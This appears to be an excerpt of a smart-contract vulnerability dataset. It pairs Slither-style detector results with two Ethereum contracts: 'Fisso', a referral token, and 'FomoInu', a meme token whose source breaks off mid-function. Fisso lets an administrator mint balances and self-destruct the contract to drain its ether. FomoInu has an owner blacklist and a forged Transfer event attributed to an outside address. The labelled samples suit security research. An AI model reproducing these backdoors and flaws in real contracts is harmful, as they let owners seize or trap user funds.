0602061299385828601612846565b9150509250929050565b6000602082840312156129b3576129b2613422565b5b600082013567ffffffffffffffff8111156129d1576129d061341d565b5b6129dd848285016127ee565b91505092915050565b6000602082840312156129fc576129fb613422565b5b6000612a0a8482850161281c565b91505092915050565b600060208284031215612a2957612a28613422565b5b6000612a3784828501612831565b91505092915050565b600060208284031215612a5657612a55613422565b5b6000612a6484828501612846565b91505092915050565b600080600060608486031215612a8657612a85613422565b5b6000612a948682870161285b565b9350506020612aa58682870161285b565b9250506040612ab68682870161285b565b9150509250925092565b6000612acc8383612ad8565b60208301905092915050565b612ae181613243565b82525050565b612af081613243565b82525050565b6000612b01826130e9565b612b0b818561310c565b9350612b16836130d9565b8060005b83811015612b47578151612b2e8882612ac0565b9750612b39836130ff565b925050600181019050612b1a565b5085935050505092915050565b612b5d81613255565b82525050565b612b6c81613298565b82525050565b6000612b7d826130f4565b612b87818561311d565b9350612b978185602086016132aa565b612ba081613427565b840191505092915050565b6000612bb860238361311d565b9150612bc382613438565b604082019050919050565b6000612bdb602a8361311d565b9150612be682613487565b604082019050919050565b6000612bfe60228361311d565b9150612c09826134d6565b604082019050919050565b6000612c21601b8361311d565b9150612c2c82613525565b602082019050919050565b6000612c44601d8361311d565b9150612c4f8261354e565b602082019050919050565b6000612c6760218361311d565b9150612c7282613577565b604082019050919050565b6000612c8a60208361311d565b9150612c95826135c6565b602082019050919050565b6000612cad60298361311d565b9150612cb8826135ef565b604082019050919050565b6000612cd060258361311d565b9150612cdb8261363e565b604082019050919050565b6000612cf360248361311d565b9150612cfe8261368d565b604082019050919050565b6000612d1660178361311d565b9150612d21826136dc565b602082019050919050565b6000612d3960118361311d565b9150612d4482613705565b602082019050919050565b612d5881613281565b82525050565b612d678161328b565b82525050565b6000602082019050612d826000830184612ae7565b92915050565b6000604082019050612d9d6000830185612ae7565b612daa6020830184612ae7565b9392505050565b6000604082019050612dc66000830185612ae7565b612dd36020830184612d4f565b9392505050565b600060c082019050612def6000830189612ae7565b612dfc6020830188612d4f565b612e096040830187612b63565b612e166060830186612b63565b612e236080830185612ae7565b612e3060a0830184612d4f565b979650505050505050565b6000602082019050612e506000830184612b54565b92915050565b60006020820190508181036000830152612e708184612b72565b905092915050565b60006020820190508181036000830152612e9181612bab565b9050919050565b60006020820190508181036000830152612eb181612bce565b9050919050565b60006020820190508181036000830152612ed181612bf1565b9050919050565b60006020820190508181036000830152612ef181612c14565b9050919050565b60006020820190508181036000830152612f1181612c37565b9050919050565b60006020820190508181036000830152612f3181612c5a565b9050919050565b60006020820190508181036000830152612f5181612c7d565b9050919050565b60006020820190508181036000830152612f7181612ca0565b9050919050565b60006020820190508181036000830152612f9181612cc3565b9050919050565b60006020820190508181036000830152612fb181612ce6565b9050919050565b60006020820190508181036000830152612fd181612d09565b9050919050565b60006020820190508181036000830152612ff181612d2c565b9050919050565b600060208201905061300d6000830184612d4f565b92915050565b600060a0820190506130286000830188612d4f565b6130356020830187612b63565b81810360408301526130478186612af6565b90506130566060830185612ae7565b6130636080830184612d4f565b9695505050505050565b60006020820190506130826000830184612d5e565b92915050565b60006130926130a3565b905061309e82826132dd565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c8576130c76133e4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313982613281565b915061314483613281565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317957613178613357565b5b828201905092915050565b600061318f82613281565b915061319a83613281565b9250826131aa576131a9613386565b5b828204905092915050565b60006131c082613281565b91506131cb83613281565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320457613203613357565b5b828202905092915050565b600061321a82613281565b915061322583613281565b92508282101561323857613237613357565b5b828203905092915050565b600061324e82613261565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132a382613281565b9050919050565b60005b838110156132c85780820151818401526020810190506132ad565b838111156132d7576000848401525b50505050565b6132e682613427565b810181811067ffffffffffffffff82111715613305576133046133e4565b5b80604052505050565b600061331982613281565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334c5761334b613357565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61373781613243565b811461374257600080fd5b50565b61374e81613255565b811461375957600080fd5b50565b61376581613281565b811461377057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365476f6c64536869626120546f6b656e5f542e6d652f476f6c645368696261546f6b656ea2646970667358221220d164d8f76c86fea865eb6eb80e238eb0a4abb3661366b87467038ebc6783303764736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,862
0x70C05e6Bdd193d983c0bee8F413520F73417F683
pragma solidity ^0.4.26; contract Fisso { modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, uint256 totalSupply, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "Fisso"; string public symbol = "FSO"; uint256 constant public totalSupply_ = 50000000; uint8 constant public decimals = 0; uint256 constant internal tokenPriceInitial_ = 27027027; uint256 constant internal tokenPriceIncremental_ = 216216; uint256 public percent = 300; uint256 public currentPrice_ = tokenPriceInitial_ + tokenPriceIncremental_; uint256 public communityFunds = 0; address dev1; //management fees address dev2; //development and progress account address dev3; //marketing expenditure address dev4; //running cost and other expenses /*================================ = DATASETS = ================================*/ mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal rewardBalanceLedger_; address[] public holders_=new address[](0); address sonk; uint256 internal tokenSupply_ = 0; mapping(address => bool) public administrators; mapping(address => address) public genTree; constructor() public { sonk = msg.sender; administrators[sonk] = true; } function upgradeContract(address[] _users, uint256[] _balances, uint256[] _rewardBalances, address[] _refers, uint modeType) onlyAdministrator() public { if(modeType == 1) { for(uint i = 0; i<_users.length;i++) { genTree[_users[i]] = _refers[i]; if(_balances[i] > 0) { tokenBalanceLedger_[_users[i]] += _balances[i]; rewardBalanceLedger_[_users[i]] += _rewardBalances[i]; tokenSupply_ += _balances[i]; holders_.push(_users[i]); emit Transfer(address(this),_users[i],_balances[i]); } } } if(modeType == 2) { for(i = 0; i<_users.length;i++) { rewardBalanceLedger_[_users[i]] += _balances[i]; } } } function upgradeDetails(uint256 _currentPrice, uint256 _commFunds) onlyAdministrator() public { currentPrice_ = _currentPrice; communityFunds = _commFunds; } function fundsInjection() public payable returns(bool) { return true; } function buy(address _referredBy) public payable returns(uint256) { genTree[msg.sender] = _referredBy; purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function withdrawRewards() public { address customerAddress_ = msg.sender; if(rewardBalanceLedger_[customerAddress_]>1000000000) { customerAddress_.transfer(rewardBalanceLedger_[customerAddress_]); rewardBalanceLedger_[customerAddress_] = 0; } } function reInvest() public returns(uint256) { address customerAddress_ = msg.sender; require(rewardBalanceLedger_[customerAddress_] >= (currentPrice_*2), 'Your rewards are too low yet'); uint256 tokensBought_ = purchaseTokens(rewardBalanceLedger_[customerAddress_], genTree[msg.sender]); rewardBalanceLedger_[customerAddress_] = 0; return tokensBought_; } function distributeRewards(uint256 amountToDistribute) public onlyAdministrator() { if(communityFunds >= amountToDistribute) { for(uint i = 0; i<holders_.length;i++) { uint256 _balance = tokenBalanceLedger_[holders_[i]]; if(_balance>0) { rewardBalanceLedger_[holders_[i]] += ((_balance*10000000/tokenSupply_)*(amountToDistribute))/10000000; } } communityFunds -= amountToDistribute; } } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); if(rewardBalanceLedger_[_customerAddress]>0) { _customerAddress.transfer(rewardBalanceLedger_[_customerAddress]); } } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens,true); uint256 _dividends = _ethereum * 200/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); uint256 rewardsToDistribute = _dividends*1000/2000; rewardBalanceLedger_[dev1] = rewardBalanceLedger_[dev1]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev2] = rewardBalanceLedger_[dev2]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev3] = rewardBalanceLedger_[dev3]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev4] = rewardBalanceLedger_[dev4]+(rewardsToDistribute*250/1000); communityFunds += rewardsToDistribute; rewardBalanceLedger_[feeHolder_] += _dividends-(2*rewardsToDistribute); // fire event emit Transfer(_customerAddress,address(this), _amountOfTokens); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); _customerAddress.transfer(_taxedEthereum); } address feeHolder_; function registerDev234(address _devAddress1, address _devAddress2, address _devAddress3,address _devAddress4,address _feeHolder) onlyAdministrator() public { dev1 = _devAddress1; dev2 = _devAddress2; dev3 = _devAddress3; dev4 = _devAddress4; feeHolder_ = _feeHolder; administrators[feeHolder_] = true; } function transfer(address _toAddress, uint256 _amountOfTokens) public returns(bool) { // setup address _customerAddress = msg.sender; // these are dispersed to shareholders uint256 _tokenFee = _amountOfTokens * 10/100; uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); tokenBalanceLedger_[feeHolder_] += _tokenFee; // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); emit Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } function destruct() onlyAdministrator() public{ selfdestruct(feeHolder_); } function setPercent(uint256 newPercent) onlyAdministrator() public { percent = newPercent * 10; } function setName(string _name) onlyAdministrator() public { name = _name; } function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function totalEthereumBalance() public view returns(uint) { return address(this).balance; } function totalSupply() public pure returns(uint256) { return totalSupply_; } function tokenSupply() public view returns(uint256) { return tokenSupply_; } function getCommunityFunds() public view returns(uint256) { return communityFunds; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } //check the ethereum reward balance function rewardOf(address _customerAddress) view public returns(uint256) { return rewardBalanceLedger_[_customerAddress]; } function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(2,false); uint256 _dividends = _ethereum * 200/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { return currentPrice_; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell,false); uint256 _dividends = _ethereum * 200/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ event testLog( uint256 currBal ); function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = _ethereumToSpend * percent/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum, currentPrice_, false); return _amountOfTokens; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _dividends = _incomingEthereum * percent/1000; uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum , currentPrice_, true); require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); if(tokenBalanceLedger_[_customerAddress] == _amountOfTokens) { holders_.push(_customerAddress); } uint256 rewardsToDistribute = _dividends*325/1000; communityFunds += rewardsToDistribute; rewardBalanceLedger_[_referredBy] += (rewardsToDistribute * 150) / 100; rewardBalanceLedger_[feeHolder_] += _dividends-(3*rewardsToDistribute); rewardsToDistribute = (rewardsToDistribute * 50) / 100; rewardBalanceLedger_[dev1] = rewardBalanceLedger_[dev1]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev2] = rewardBalanceLedger_[dev2]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev3] = rewardBalanceLedger_[dev3]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev4] = rewardBalanceLedger_[dev4]+(rewardsToDistribute*250/1000); require(SafeMath.add(_amountOfTokens,tokenSupply_) <= totalSupply_); // fire event emit Transfer(address(this),_customerAddress, _amountOfTokens); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum, uint256 _currentPrice, bool buy) internal view returns(uint256) { uint256 _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental); uint256 _tokenSupply = tokenSupply_; uint256 _tokenPriceIncremental = (tokenPriceIncremental_*(3**(_tokenSupply/5000000))); uint256 _totalTokens = 0; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( _tempad**2 + (8*_tokenPriceIncremental*_ethereum) ) ), _tempad ) )/(2*_tokenPriceIncremental) ); uint256 tempbase = ((_tokenSupply/5000000)+1)*5000000; while((_tokensReceived + _tokenSupply) > tempbase){ _tokensReceived = tempbase - _tokenSupply; _ethereum = SafeMath.sub( _ethereum, ((_tokensReceived)/2)* ((2*_currentPrice)+((_tokensReceived-1) *_tokenPriceIncremental)) ); _currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental); _tokenPriceIncremental = (tokenPriceIncremental_*((3)**((_tokensReceived + _tokenSupply)/5000000))); _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental); uint256 _tempTokensReceived = ( ( SafeMath.sub( (sqrt ( _tempad**2 + (8*_tokenPriceIncremental*_ethereum) ) ), _tempad ) )/(2*_tokenPriceIncremental) ); _tokenSupply = _tokenSupply + _tokensReceived; _totalTokens = _totalTokens + _tokensReceived; _tokensReceived = _tempTokensReceived; tempbase = ((_tokenSupply/5000000)+1)*5000000; } _totalTokens = _totalTokens + _tokensReceived; _currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental); if(buy == true) { currentPrice_ = _currentPrice; } return _totalTokens; } function tokensToEthereum_(uint256 _tokens, bool sell) internal view returns(uint256) { uint256 _tokenSupply = tokenSupply_; uint256 _etherReceived = 0; uint256 tempbase = ((_tokenSupply/5000000))*5000000; uint256 _currentPrice = currentPrice_; uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((3)**(_tokenSupply/5000000))); while((_tokenSupply - _tokens) < tempbase) { uint256 tokensToSell = _tokenSupply - tempbase; if(tokensToSell == 0) { _tokenSupply = _tokenSupply - 1; tempbase = ((_tokenSupply/5000000))*5000000; continue; } uint256 b = ((tokensToSell-1)*_tokenPriceIncremental); uint256 a = _currentPrice - b; _tokens = _tokens - tokensToSell; _etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+b)); _currentPrice = a; _tokenSupply = _tokenSupply - tokensToSell; _tokenPriceIncremental = (tokenPriceIncremental_*((3)**((_tokenSupply-1)/5000000))); tempbase = (((_tokenSupply-1)/5000000))*5000000; } if(_tokens > 0) { a = _currentPrice - ((_tokens-1)*_tokenPriceIncremental); _etherReceived = _etherReceived + ((_tokens/2)*((2*a)+((_tokens-1)*_tokenPriceIncremental))); _tokenSupply = _tokenSupply - _tokens; _currentPrice = a; } if(sell == true) { currentPrice_ = _currentPrice; } return _etherReceived; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
8,863
0x6ac0bca4594796316527c3d380738be9dabfcc9f
/** *Submitted for verification at Etherscan.io on 2021-05-31 */ /* Telegram: https://t.me/FomoInu Website: fomoinu.com Fair launch at TG 200 members, invite your fellow degens. No presale, public or private No dev tokens, no marketing tokens, developers will be compensated by a small fee on each transaction. Trading will be enabled AFTER liquidity lock, rugpull impossible. Total supply = liquidity = 1,000,000,000,000, initial buy limit = 2,000,000,000, permanent sell limit: 4,000,000,000 . 3% redistribution on every sell 30 seconds cooldown on each buy, 2 minutes cooldown on each sell. */ //SPDX-License-Identifier: Mines™®© pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FomoInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = 'Fomo Inu'; string private constant _symbol = 'FOMOINU'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 0; _teamFee = 10; if (from != owner() && to != owner() && from != address(this) && to != address(this)) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp, "Cooldown"); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 3; _teamFee = 9; } if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= 4e9 * 10**9); require(cooldown[from] < block.timestamp, "Cooldown"); cooldown[from] = block.timestamp + (2 minutes); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2e9 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) 